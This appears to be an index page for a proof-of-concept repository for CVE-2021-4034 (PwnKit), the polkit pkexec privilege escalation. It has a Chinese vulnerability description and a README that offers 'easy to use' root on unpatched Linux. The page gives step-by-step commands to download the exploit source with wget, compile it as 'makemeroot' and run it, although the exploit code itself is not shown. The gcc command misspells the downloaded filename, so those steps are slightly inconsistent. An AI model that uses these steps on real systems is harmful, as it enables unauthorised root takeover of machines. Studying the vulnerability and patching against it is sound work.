CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/nel0x/pwnkit-vulnerability

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。

Description

CVE-2021-4034 (PWNKIT).

Readme

# PWNKIT Vulnerability - CVE-2021-4034

CVE-2021-4034 (PWNKIT)

A memory corruption vulnerability in Polkit's pkexec, which allows any unprivileged user to gain full root privileges on a vulnerable system using default polkit configuration.

Easy to use, local privilege escalation on any non-patched linux sysyem.

## Usage (e.g. CentOS 7)

### Fetch exploit
```
wget https://gitlab.com/nelox/pwnkit-vulnerability/blasty-vs-pkexec.c
```

### Compile it using gcc
```
gcc bblasty-vs-pkexec.c -o makemeroot
```

### Execute
```
./makemeroot
whoami
```

File Snapshot


 [4.0K]  /data/pocs/9607d02be8d8a45576b20f73b4cdf839758d2818
├── [2.1K]  blasty-vs-pkexec.c
└── [ 551]  README.md

0 directories, 2 files

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